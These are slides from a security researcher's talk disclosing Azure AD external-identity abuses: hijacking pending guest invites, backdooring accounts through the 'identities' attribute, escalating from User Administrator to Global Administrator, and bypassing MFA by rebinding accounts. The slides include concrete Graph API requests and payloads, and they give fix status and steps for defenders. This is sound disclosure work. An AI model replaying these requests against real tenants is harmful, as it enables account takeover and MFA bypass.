Backdooring and hijacking Azure AD accounts by abusing external identities

Dirk-jan Mollema / @_dirkjan
whoami

- Dirk-jan Mollema
- Lives in The Netherlands
- Hacker / Researcher / Founder @ Outsider Security
- Author of several (Azure) Active Directory tools
  - mitm6
  - ldapdomaindump
  - BloodHound.py
  - aclpwn.py
  - Co-author of ntlmrelayx
  - ROADtools
- Blogs on dirkjanm.io
- Tweets stuff on @_dirkjan
Terminology

• Azure AD
  • Central Identity platform for Microsoft 365, Azure Resource Manager, and any other SaaS service you’d like to integrate with it
Terminology

• Tenant
  • A separate instance of Azure AD for an organization.
  • Most organizations have one primary tenant.
  • Important security boundary in Azure AD.

• External identity
  • Any identity that is not managed by your tenant
  • Can be another Azure AD tenant, Microsoft account, Google account or even just an email address.
External collaboration

Tenant A

Tenant B
External collaboration

Tenant A
Resource tenant

Guest account

Linked

Home tenant account

Tenant B
Home tenant
Test setup

- 2 tenants:
  - Primary: Iminyour.cloud (iminyourcloud.onmicrosoft.com)
  - External: Crosstenantdev (crosstenantdev.onmicrosoft.com)

- All Azure AD defaults
- No specific B2B trust configured
HJ M invited you to access applications within their organization

Microsoft Invitations on behalf of iminyourcloud <invites@microsoft.com>
To: Invite Me

⚠️ Please only act on this email if you trust the individual and organization represented below. In rare cases, individuals may receive fraudulent invitations from bad actors posing as legitimate companies. If you were not expecting this invitation, proceed with caution.

Sender: HJ M (dirkjan@iminyour.cloud)
Organization: iminyourcloud
Domain: [iminyour.cloud]iminyour.cloud

If you accept this invitation, you’ll be sent to https://account.activedirectory.windowsazure.com/?tenantid=6287f28f-4f7f-4322-9651-a8697d8fe1bc&login_hint=inviteme@crosstenantdev.onmicrosoft.com.

Accept invitation

Block future invitations from this organization.

This invitation email is from iminyourcloud ([iminyour.cloud]iminyour.cloud) and may include advertising content. iminyourcloud has not provided a link to their privacy statement for you to review. Microsoft Corporation facilitated sending this email but did not validate the sender or the message.

Microsoft respects your privacy. To learn more, please read the Microsoft Privacy Statement.
Microsoft Corporation, One Microsoft Way, Redmond, WA 98052
Microsoft

inviteme@crosstenantdev.onmicrosoft.com

Review permissions

iminyourcloud iminyour.cloud

This resource is not shared by Microsoft.

The organization iminyourcloud would like to:

- [ ] Sign you in
- [ ] Read your name, email address, and photo

You should only accept if you trust iminyourcloud. By accepting, you allow this organization to access and process your data to create, control, and administer an account according to their policies. iminyourcloud has not provided a link to their privacy statement for you to review. iminyourcloud may log information about your access. You can remove these permissions at https://myapps.microsoft.com/iminyour.cloud

[ ] Cancel   [ ] Accept
Azure AD information resources

- Microsoft Graph
  - Official API for everything Microsoft 365 (including Azure AD)
  - Not always all information

- Azure AD graph
  - Azure AD only
  - Lower-level API than MS Graph
  - Possibility to use internal versions to gather more information

- Azure AD portal
  - May use MS Graph or AAD Graph, including internal versions
In this talk

• Mix of AAD Graph and MS Graph
• Use of ROADrecon (part of ROADtools) as front-end for AAD Graph
# Invite acceptance, audit log

<table>
<thead>
<tr>
<th>Activity</th>
<th>Target(s)</th>
<th>Modified Properties</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td><strong>Target</strong></td>
</tr>
<tr>
<td></td>
<td></td>
<td>inviteme_crosst...</td>
</tr>
<tr>
<td></td>
<td></td>
<td>inviteme_crosst...</td>
</tr>
<tr>
<td></td>
<td></td>
<td>inviteme_crosst...</td>
</tr>
<tr>
<td></td>
<td></td>
<td>inviteme_crosst...</td>
</tr>
<tr>
<td></td>
<td></td>
<td>inviteme_crosst...</td>
</tr>
<tr>
<td></td>
<td></td>
<td>inviteme_crosst...</td>
</tr>
<tr>
<td></td>
<td></td>
<td>inviteme_crosst...</td>
</tr>
</tbody>
</table>
Guest account – after acceptance

```json
Object
  acceptedAs: "inviteme@crosscaptantdev.onmicrosoft.com"
  acceptedOn: "2022-07-25T12:10:18"
  accountEnabled: true
  ageGroup: null
  alternativeSecurityIds: Array[1]
    0: Object
      identityProvider: null
      key: "EAMgAhA0qdc="
      type: 5
  usageLocation: "NL"
  userPrincipalName: "inviteme_crosscaptantdev.onmicrosoft.com#EXT#iminyourcloud.onmicrosoft.com"
  userState: "Accepted"
  userStateChangedOn: "2022-07-25T12:10:18"
  userType: "Guest"
```
Link is based on “netid” property in home tenant

100320021034A9D7

mobile: null
msExchMailboxGuid: null
msExchRecipientTypeDetails: null
msExchRemoteRecipientType: null
netId: "100320021034A9D7"
objectID: "4c158c73-f777-458c-9a33-8ffe2f9d47e0"
objectType: "User"
Linking guest accounts between tenants

Tenant A
Resource tenant

Guest account
alternativeSecurityIds

Tenant B
Home tenant

Home tenant account
netId
Inviting users using the AAD Graph

- To redeem/accept the invite above, you sent the following

```
ARMClient POST /{tenant}/redeemInvitation?api-version=1.42-previewInternal @payload.json
```

Example payload.json below

```json
{
    "altSecIds": [{
        "identityProvider": null,
        "type": "1", // for MSA accounts
        "key": "{base64 string of user's puid encoded to bytes}"}
    ],
    "acceptedAs": "user@live.com",
    "inviteTicket": {
        "Ticket": "{GUID from ticket above}",
        "Type": "Invite"
    }
}
```

https://github.com/projectKudu/ARMClient/wiki/AAD-Invite-User-Apis
Redeem invite via AAD Graph

• Needs external users netId
  • Can be queried using AAD Graph
  • Can be extracted from access token (puid claim)

• Need invite ticket
  • Can be queried using AAD Graph / ROADrecon 😊
# Redeem invite via API

**POST**

https://graph.windows.net/myorganization/redeemInvitation?api-version=1.61-internal

<table>
<thead>
<tr>
<th>Param</th>
<th>Authorization</th>
<th>Headers (10)</th>
<th>Body</th>
<th>Pre-request Script</th>
<th>Tests</th>
<th>Settings</th>
</tr>
</thead>
<tbody>
<tr>
<td>none</td>
<td>form-data</td>
<td>x-www-form-urlencoded</td>
<td>raw</td>
<td>binary</td>
<td></td>
<td>GraphQL</td>
</tr>
</tbody>
</table>

```json
"altSecIds": [
  "identityProvider": "null",
  "type": "5",
  "key": "EAMgAeN41Gg=
],
"acceptedAs": "guest@outsidersecurity.nl",
"inviteTicket": {
  "ticket": "ee228336-f615-4ef7-b29d-e058a9b14815",
  "type": "Invite"
}
```
Redeeming invites: some issues

• You would think some privileged role is needed to redeem invites, this is not true, any user in the tenant could do it.

• None of the information is verified:
  • Could use any “accepted as” email
  • Could link it to any external account in any directory

• Invite tickets can be queried by any user in the tenant
Hijacking invites

- Query using AAD Graph:

```plaintext
https://graph.windows.net/myorganization/users?api-version=1.61-internal&$filter=userState eq 'PendingAcceptance'&$select=userPrincipalName,inviteTicket,userType,invitedAsMail
```
## Query netid from rogue account

https://graph.windows.net/myorganization/users/newlowpriv@crosstenantdev.onmicrosoft.com/?api-version=1.61-internal&$select=userPrincipalName,netId

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;odata.metadata&quot;: &quot;<a href="https://graph.windows.net/myorganization/$metadata#directoryObjects/@Element">https://graph.windows.net/myorganization/$metadata#directoryObjects/@Element</a>&quot;,</td>
<td></td>
</tr>
<tr>
<td>&quot;userPrincipalName&quot;: &quot;<a href="mailto:newlowpriv@crosstenantdev.onmicrosoft.com">newlowpriv@crosstenantdev.onmicrosoft.com</a>&quot;,</td>
<td></td>
</tr>
<tr>
<td>&quot;netId&quot;: &quot;10032001E50FBEAE&quot;</td>
<td></td>
</tr>
</tbody>
</table>

**From Hex**

- **Delimiter**: Auto

**To Base64**

- **Alphabet**: A-Za-z0-9+/=

**Output**: EAMgAcUPvpqA=
redeem invite POST response

```
"odata.metadata": "https://graph.windows.net/myorganization/$metadata#directoryObjects/@Element",
"objectType": "User",
"objectId": "cd3a4c74-64ca-42b4-9448-601cabad969a",
"deletionTimestamp": null,
"acceptedAs": "guest@outsidersecurity.nl",
"acceptedOn": "2022-03-16T13:40:00.8365096Z",
"accountEnabled": true,
"ageGroup": null,
"alternativeSecurityIds": [
    
    ],
"signInNames": [
    "guest@outsidersecurity.nl"
]
```
No way to determine actual account link
TL;DR

- Every user could query for non-redeemed invites.
- Could redeem invite without any validation, link to arbitrary external account.
- No way for admins to find out which account it was actually linked to.
Impact scenarios

• External identities used for managing Azure subscriptions in other tenants.
• Used for external suppliers/MSP accounts.
• UI flow exists to directly assign role to invited account, could be a privilege escalation.
• Bypasses allowlist of external collaboration domains.
• Invisible persistence if compromised account is remediated.
### Audit Log Details

<table>
<thead>
<tr>
<th>Activity</th>
<th>Target(s)</th>
<th>Modified Properties</th>
</tr>
</thead>
<tbody>
<tr>
<td>Date</td>
<td>3/24/2022, 11:40 AM</td>
<td></td>
</tr>
<tr>
<td>Activity Type</td>
<td>Update user</td>
<td></td>
</tr>
<tr>
<td>Correlation ID</td>
<td>1a2c29ae-9217-423c-8841-4e81d55b9ff7</td>
<td></td>
</tr>
<tr>
<td>Category</td>
<td>UserManagement</td>
<td></td>
</tr>
<tr>
<td>Status</td>
<td>success</td>
<td></td>
</tr>
<tr>
<td>Status reason</td>
<td>success</td>
<td></td>
</tr>
<tr>
<td>User Agent</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Initiated by (actor)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Audit Log Details

<table>
<thead>
<tr>
<th>Activity</th>
<th>Target(s)</th>
<th>Modified Properties</th>
</tr>
</thead>
<tbody>
<tr>
<td>Date</td>
<td>3/16/2022, 2:40 PM</td>
<td></td>
</tr>
<tr>
<td>Activity Type</td>
<td>Update user</td>
<td></td>
</tr>
<tr>
<td>Correlation ID</td>
<td>1444e043-3b7e-42fc-9b25-434df1735fbe</td>
<td></td>
</tr>
<tr>
<td>Category</td>
<td>UserManagement</td>
<td></td>
</tr>
<tr>
<td>Status</td>
<td>success</td>
<td></td>
</tr>
<tr>
<td>Status reason</td>
<td>success</td>
<td></td>
</tr>
<tr>
<td>User Agent</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Initiated by (actor)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Type**: Application  
**Display Name**: Microsoft Invitation Acceptance Portal  
**App ID**: 7f5c9b5-033d-417f-9071-ac354a7/adefe  
**Service principal ID**: 07d0e25-c6bd-4e18-ab93-da406f10abaf  
**IP address**:  
**User Principal Name**: newlowpriv@iminyour.cloud

**KQL hunting query**: https://gist.github.com/dirkjanm/
External identities in MS Graph

- MS Graph shows less information than AAD Graph
- “identities” property can actually be modified with correct privs

https://graph.microsoft.com/beta/users/cd3a4c74-64ca-42b4-9448-601cabad969a/identities

```
"@odata.context": "https://graph.microsoft.com/beta/$metadata#users('cd3a4c74-64ca-42b4-9448-601cabad969a')/identities",
"value": [
  {
    "signInType": "federated",
    "issuer": "ExternalAzureAD",
    "issuerAssignedId": null
  },
  {
    "signInType": "userPrincipalName",
    "issuer": "iminyourcloud.onmicrosoft.com",
    "issuerAssignedId": "guest_outsidersecurity.nl#EXT@iminyourcloud.onmicrosoft.com"
  }
]```
Other identity providers

External Identities | All identity providers
iminyourcloud - Azure Active Directory

Search (Ctrl+/)

Overview
Cross-tenant access settings
All identity providers
External collaboration settings
Diagnose and solve problems
Self-service sign up
Custom user attributes
All API connectors

Configured identity providers

Name
Azure Active Directory
Microsoft Account

Email one-time passcode

SAAML/WS-Fed identity providers

Search

Display name
Configuration

You have not added a SAML/WS-Fed identity provider
Email OTP in MS Graph and AAD Graph

MS Graph

```json
"@odata.context": "https://graph.microsoft.com.beta/$metadata#users("value": [
  {"signInType": "federated",
   "issuer": "mail",
   "issuerAssignedID": "matlotp@outsidersec.dev"
  },
  {
   "signInType": "userPrincipalName",
   "issuer": "iminyourcloud.onmicrosoft.com",
   "issuerAssignedID": "mailotp_outsidersec.dev#EXT#iminyourcloud.onmicrosoft.com"
  }
]
```
Who can modify the identities attribute?

- Global Admins
- User Administrators
- Apps with User.ManageIdentities.All privileges

- Users can modify their own identities
Azure AD “Users” Role Definition

```json
{
  "condition": "$ResourceIsSelf",
  "resourceActions": {
    "allowedResourceActions": [
      "microsoft.directory/users/changePassword",
      "microsoft.directory/users/invalidateAllRefreshTokens",
      "microsoft.directory/users/basicProfile/update",
      "microsoft.directory/users/identities/update",
      "microsoft.directory/users/mobile/update",
      "microsoft.directory/users/searchableDeviceKey/update",
      "microsoft.directory/userInfos/address/read",
      "microsoft.directory/userInfos/email/read",
      "microsoft.directory/userInfos/openId/read",
      "microsoft.directory/userInfos/phone/read",
      "microsoft.directory/userInfos/profile/read"
    ]
  }
}
```
Users modify their own identities

Given a time-limited or scope-limited access token with the correct MS Graph permissions, attackers can backdoor an account and link it to an external account.
Attack scenario’s

• Temporary account access
• Limited scope access, for example through device code phishing
• Application takeover or URL hijack with the appropriate scope
Account identities: original

GET

https://graph.microsoft.com/beta/users/newlowpriv@iminyour.cloud/identities

Params | Authorization | Headers | Body | Pre-request Script | Tests | Settings

- none
- form-data
- x-www-form-urlencoded
- raw
- binary
- GraphQL

Body

```
"@odata.context": "https://graph.microsoft.com/beta/$metadata#users('newlowpriv%40iminyour.cloud')/identities",
"value": [
  {
    "signInType": "userPrincipalName",
    "issuer": "iminyourcloud.onmicrosoft.com",
    "issuerAssignedId": "newlowpriv@iminyour.cloud"
  }
]
```
Organizations

Home organization

Your work or school account belongs to your home organization. You can not leave your home organization

Other organizations you collaborate with

You have guest accounts for the following organizations. You can leave organizations you no longer work with. Learn more

Mail OTP Attacker t...
mailotp@outsidersec.dev

Sign in with a different account

Leave

crosstenantdev (Signed in)

Privacy statement unavailable

My Account

Overview
Security info
Devices
Password
Organizations
Settings & Privacy
My sign-ins
Add new identity (backdoor)

```
{
  "value": [
    {
      "signInType": "federated",
      "issuer": "mail",
      "issuerAssignedId": "mailotp@outsidersec.dev"
    }
  ]
}
```
Account identities after change

```
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

"@odata.context": "https://graph.microsoft.com/beta/$metadata#users('newlowpriv%40iminyour.cloud')/identities",
"value": [
  {
    "signInType": "federated",
    "issuer": "mail",
    "issuerAssignedId": "mailotp@outsidersec.dev"
  },
  {
    "signInType": "userPrincipalName",
    "issuer": "iminyourcloud.onmicrosoft.com",
    "issuerAssignedId": "newlowpriv@iminyour.cloud"
  }
]
```
Switching tenants
Signed in as victim user

Organizations

Home organization

Your work or school account belongs to your home organization. You can not leave your home organization.

Other organizations you collaborate with

You have guest accounts for the following organizations. You can leave organizations you no longer work with. Learn more

iminyourcloud (Signed in)
Returning the account to the original state

```json
{
  "value": []
}
```
Extra technique: elevation of privilege

• User Administrators cannot reset passwords of Global Administrators
• They can however modify the identity of a Global Admin (or any other user)
• This way they can take over the account of a higher privileged user.
User Admin to Global Admin with a few clicks

• Convert existing user to B2B account (Guest)
Victim user

gatestnew

Created by gatestnew

Creation time
3/18/2022, 10:52:43 AM

Identity

Name
gatestnew

User Principal Name
gatestnew@iminyour.cloud

Object ID
1859f31d-333a-4a90-b71a-ae31e5a67822

Issuer
iminyourcloud.onmicrosoft.com

Only global administrators, security administrators, and report readers can view sign-ins. More info
Information Classification: General
Manage user collaboration status

You can convert internal users to use their external credentials. By converting this user, you will send them an invitation to the email selected and they can redeem this using their external credentials. Learn more

Invite internal user to B2B collaboration?

Invitation email
rogue@crosstenantdev.onmicrosoft.com

Successfully invited user
User conversion succeeded
User Administrator privesc TL;DR

• A User Administrator can convert any account to B2B, including higher privileged accounts.

• Can be done in GUI or with 2 simple POST requests to MS Graph.

• No need to redeem the invite with a real account if we combine this with the guest account hijack technique, making it fully invisible which account it was linked to.

• For some reason does not work for accounts with a mailbox, in which case changing the “identities” property works.
The caveat: MFA

• Converting a user to B2B or changing their identities will compromise their primary authentication method only.

• MFA will still kick in for the original account.
Guest tenants and MFA

Tenant A
Resource tenant

Victim account
MFA methods

Tenant B
Home tenant
(attacker controlled)

Attacker account
MFA methods
MFA methods remain those of victim account

Tenant A
Resource tenant

Tenant B
Home tenant
(attacker controlled)

Guest account
Victim MFA methods

Linked

Attacker account
MFA methods
Observations

• In a fresh sign-in session where MFA was performed, we are not prompted for MFA every time we switch apps. Suggests caching in login session.

• This holds for activity in tenants where we are a guest too.

• Conclusion: MFA information is cached somehow in our session, and keeps track of which tenants we performed MFA in.
Introducing account rebinding

Tenant A
Resource tenant

Victim account
Victim MFA methods

Attacker account
MFA methods

Tenant B
Home tenant
(attacker controlled)
Invite attacker as guest

Tenant A
Resource tenant
Attacker guest account
Attacker MFA methods
Victim account
Victim MFA methods

Tenant B
Home tenant
(attacker controlled)
Attacker account
MFA methods

Linked
Delete guest account

Tenant A
Resource tenant

Attacker guest account
Attacker MFA methods

Victim account
Victim MFA methods

Tenant B
Home tenant
(attacker controlled)

Attacker account
MFA methods
Rebind victim account to attacker identity

Tenant A
Resource tenant

Attacker guest account
Attacker MFA methods

Victim account
Victim MFA methods

Linked

Attacker account
MFA methods

Tenant B
Home tenant
(attacker controlled)
Add own MFA method to make bypass permanent

<table>
<thead>
<tr>
<th>Activity</th>
<th>Status</th>
<th>Status reason</th>
<th>Target(s)</th>
<th>Initiated by (actor)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Update user</td>
<td>Success</td>
<td></td>
<td><a href="mailto:victim@iminyour.cloud">victim@iminyour.cloud</a></td>
<td><a href="mailto:victim@iminyour.cloud">victim@iminyour.cloud</a></td>
</tr>
<tr>
<td>Update user</td>
<td>Success</td>
<td></td>
<td><a href="mailto:victim@iminyour.cloud">victim@iminyour.cloud</a></td>
<td>fim_password_service@sup...</td>
</tr>
<tr>
<td>User started security info re...</td>
<td>Success</td>
<td>User started the registration for Authenticator App with Code</td>
<td>rogue user</td>
<td><a href="mailto:victim@iminyour.cloud">victim@iminyour.cloud</a></td>
</tr>
<tr>
<td>Update user</td>
<td>Success</td>
<td></td>
<td><a href="mailto:victim@iminyour.cloud">victim@iminyour.cloud</a></td>
<td>Microsoft Invitation Accept...</td>
</tr>
</tbody>
</table>
Attack summary

• MFA information seems cached in the session based on home tenant identity + target tenant combination.

• No link to the actual account, makes it possible to:
  • Invite a guest account on attacker's email address.
  • Register MFA information (will be cached in session)
  • Delete the guest account by leaving the organization.
  • Link the victim account to the attackers account (either B2B link or via Email OTP).
  • Attacker can now log in as victim, including MFA claim, and add their own MFA app.
Attack scenarios and impact

• With limited account access (such as access token):
  • Convert into full persistent access, including MFA

• With only access to the account password:
  • Bypass MFA and Conditional Access if MFA is not required for all apps/locations.

• With a user administrator:
  • Elevate privileges to Global Admin, including MFA bypass.
  • Bypass MFA for any other account in the tenant.
Alternative scenario

• Instead of using Guest account, also possible to temporarily link account for which MFA is controlled in victim tenant to external OTP account.
  • Removes the requirement to invite external user.
  • Bypasses invite restrictions.
  • Bypasses external user blocks.
  • Bypasses Email OTP block.
Fix status

• Reported as 4 issues around March 2022
• Guest invite redemption without validation by any user in tenant
  • Fixed within a few weeks of reporting.
• Elevation from User admin to Global Admin via B2B conversion
  • Fixed in April 2022
• MFA bypass via account rebinding and cached MFA status
  • Fixed August 9\textsuperscript{th} 2022
• Backdooring account identities
  • Fix in progress
  • MFA bypass no longer possible
Actions for defenders

- Remove guest accounts with unredeemed invites regularly.
- Lock down guest invite rights and guest access settings in Azure AD.
- Restrict the tenants that are allowed for external collaboration.
- Hunt in your Audit logs for possible abuse of guest accounts.
- Enforce MFA across all apps instead of selectively.

Hunting query at https://gist.github.com/dirkjanm/
Backdooring and hijacking Azure AD accounts by abusing external identities

Dirk-jan Mollema / @_dirkjan
Questions: dirkjan@outsidersecurity.nl